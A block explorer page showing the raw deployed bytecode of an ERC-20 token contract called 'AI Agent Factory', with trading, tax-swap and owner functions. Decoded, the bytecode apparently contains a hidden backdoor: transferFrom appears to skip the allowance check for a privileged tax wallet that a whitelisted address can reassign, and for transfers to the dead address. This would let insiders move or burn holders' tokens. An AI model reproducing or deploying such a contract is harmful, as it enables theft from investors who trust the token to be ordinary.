0x6080604052600436106100f2575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b411461029e578063a9059cbb146102ca578063dd62ed3e146102e9578063fb201b1d1461032d575f80fd5b8063715018a614610231578063751039fc14610245578063798e5036146102595780638da5cb5b14610278575f80fd5b806320800a00116100c257806320800a00146101ad57806323b872dd146101c3578063313ce567146101e257806370a08231146101fd575f80fd5b806306fdde03146100fd578063095ea7b3146101475780630faee56f1461017657806318160ddd14610199575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5060408051808201909152601081526f4149204167656e7420466163746f727960801b60208201525b60405161013e91906113ed565b60405180910390f35b348015610152575f80fd5b5061016661016136600461144d565b610341565b604051901515815260200161013e565b348015610181575f80fd5b5061018b600c5481565b60405190815260200161013e565b3480156101a4575f80fd5b5061018b610357565b3480156101b8575f80fd5b506101c1610377565b005b3480156101ce575f80fd5b506101666101dd366004611477565b6103e0565b3480156101ed575f80fd5b506040516009815260200161013e565b348015610208575f80fd5b5061018b6102173660046114b5565b6001600160a01b03165f9081526001602052604090205490565b34801561023c575f80fd5b506101c1610489565b348015610250575f80fd5b506101c16104fa565b348015610264575f80fd5b506101c16102733660046114b5565b610525565b348015610283575f80fd5b505f546040516001600160a01b03909116815260200161013e565b3480156102a9575f80fd5b5060408051808201909152600481526320a4a0a360e11b6020820152610131565b3480156102d5575f80fd5b506101666102e436600461144d565b610561565b3480156102f4575f80fd5b5061018b6103033660046114d0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610338575f80fd5b506101c161056d565b5f61034d338484610912565b5060015b92915050565b5f6103646009600a6115fb565b61037290633b9aca00611609565b905090565b5f546001600160a01b031633146103a95760405162461bcd60e51b81526004016103a090611620565b60405180910390fd5b5f47116103b4575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156103dd573d5f803e3d5ffd5b50565b5f6103ec848484610a35565b6004546001600160a01b031633148015906104295750600e546001600160a01b038581169116148061042957506001600160a01b03831661dead14155b1561047f5761047f843361047a85604051806060016040528060288152602001611897602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ef4565b610912565b5060019392505050565b5f546001600160a01b031633146104b25760405162461bcd60e51b81526004016103a090611620565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105235760405162461bcd60e51b81526004016103a090611620565b565b335f9081526003602052604090205460ff1661053f575f80fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f61034d338484610a35565b5f546001600160a01b031633146105965760405162461bcd60e51b81526004016103a090611620565b600e54600160a01b900460ff16156105f05760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a0565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561063990309061062b6009600a6115fb565b61047a90633b9aca00611609565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610689573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ad9190611655565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107309190611655565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561077a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079e9190611655565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d71947306107e5816001600160a01b03165f9081526001602052604090205490565b5f806107f85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561085e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108839190611670565b5050600e805462ff00ff60a01b1981166201000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103dd919061169b565b6001600160a01b0383166109745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a0565b6001600160a01b0382166109d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a0565b6001600160a01b038216610afb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a0565b5f8111610b5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a0565b5f6001600160a01b0384163014801590610b7f57506001600160a01b0383163014155b15610d9c57600e54600160a81b900460ff16610bc457610bc16064610bbb60085460095411610bb057600654610bb4565b6007545b8590610f2c565b90610fb1565b90505b600e546001600160a01b038581169116148015610bef5750600d546001600160a01b03848116911614155b8015610c1357506001600160a01b0383165f9081526003602052604090205460ff16155b8015610c2d57506004546001600160a01b03848116911614155b15610c6f5743600a5414610c44575f600b5543600a555b81600b5f828254610c5591906116ba565b909155505060098054905f610c69836116cd565b91905055505b600e546001600160a01b038481169116148015610c9557506001600160a01b0384163014155b15610cf057610ca2610ff2565b600b541080610cb3575043600a5414155b610cf05760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a0565b305f90815260016020526040902054600e54600160a81b900460ff16158015610d265750600e546001600160a01b038581169116145b8015610d3b5750600e54600160b01b900460ff165b8015610d5557506004546001600160a01b03868116911614155b15610d9a578015610d8e575f600c548211610d705781610d74565b600c545b9050610d8c818511610d865784611177565b81611177565b505b47610d98476112e7565b505b505b6001600160a01b0384165f90815260016020526040902054610dbe9083611322565b6001600160a01b0385165f90815260016020526040902055610e01610de38383611322565b6001600160a01b0385165f9081526001602052604090205490611363565b6001600160a01b0384165f908152600160205260409020558015610e9157305f90815260016020526040902054610e389082611363565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e889085815260200190565b60405180910390a35b6001600160a01b03831661dead14610eee576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610edc8585611322565b60405190815260200160405180910390a35b50505050565b5f8184841115610f175760405162461bcd60e51b81526004016103a091906113ed565b505f610f2384866116e5565b95945050505050565b5f825f03610f3b57505f610351565b5f610f468385611609565b905082610f5385836116f8565b14610faa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a0565b9392505050565b5f610faa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c1565b6040805160028082526060820183525f92839291906020830190803683375050600d54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561105d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110819190611655565b815f815181106110935761109361172b565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106110c7576110c761172b565b6001600160a01b039283166020918202929092010152600d5460405163d06ca61f60e01b81525f92919091169063d06ca61f90611112906729a2241af62c0000908690600401611782565b5f60405180830381865afa15801561112c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261115391908101906117a2565b9050806001815181106111685761116861172b565b60200260200101519250505090565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111bd576111bd61172b565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611214573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112389190611655565b8160018151811061124b5761124b61172b565b6001600160a01b039283166020918202929092010152600d546112719130911684610912565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112a99085905f9086903090429060040161185b565b5f604051808303815f87803b1580156112c0575f80fd5b505af11580156112d2573d5f803e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561131e573d5f803e3d5ffd5b5050565b5f610faa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ef4565b5f8061136f83856116ba565b905083811015610faa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a0565b5f81836113e15760405162461bcd60e51b81526004016103a091906113ed565b505f610f2384866116f8565b5f602080835283518060208501525f5b81811015611419578581018301518582016040015282016113fd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146103dd575f80fd5b5f806040838503121561145e575f80fd5b823561146981611439565b946020939093013593505050565b5f805f60608486031215611489575f80fd5b833561149481611439565b925060208401356114a481611439565b929592945050506040919091013590565b5f602082840312156114c5575f80fd5b8135610faa81611439565b5f80604083850312156114e1575f80fd5b82356114ec81611439565b915060208301356114fc81611439565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561155557815f190482111561153b5761153b611507565b8085161561154857918102915b93841c9390800290611520565b509250929050565b5f8261156b57506001610351565b8161157757505f610351565b816001811461158d5760028114611597576115b3565b6001915050610351565b60ff8411156115a8576115a8611507565b50506001821b610351565b5060208310610133831016604e8410600b84101617156115d6575081810a610351565b6115e0838361151b565b805f19048211156115f3576115f3611507565b029392505050565b5f610faa60ff84168361155d565b808202811582820484141761035157610351611507565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611665575f80fd5b8151610faa81611439565b5f805f60608486031215611682575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116ab575f80fd5b81518015158114610faa575f80fd5b8082018082111561035157610351611507565b5f600182016116de576116de611507565b5060010190565b8181038181111561035157610351611507565b5f8261171257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f815180845260208085019450602084015f5b838110156117775781516001600160a01b031687529582019590820190600101611752565b509495945050505050565b828152604060208201525f61179a604083018461173f565b949350505050565b5f60208083850312156117b3575f80fd5b825167ffffffffffffffff808211156117ca575f80fd5b818501915085601f8301126117dd575f80fd5b8151818111156117ef576117ef611717565b8060051b604051601f19603f8301168101818110858211171561181457611814611717565b604052918252848201925083810185019188831115611831575f80fd5b938501935b8285101561184f57845184529385019392850192611836565b98975050505050505050565b85815284602082015260a060408201525f61187960a083018661173f565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202cfc87f4f3d2169fb3224c108e0edd8ffd4a1340a2aaa70ce7cbe73dc1daeb3664736f6c63430008180033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.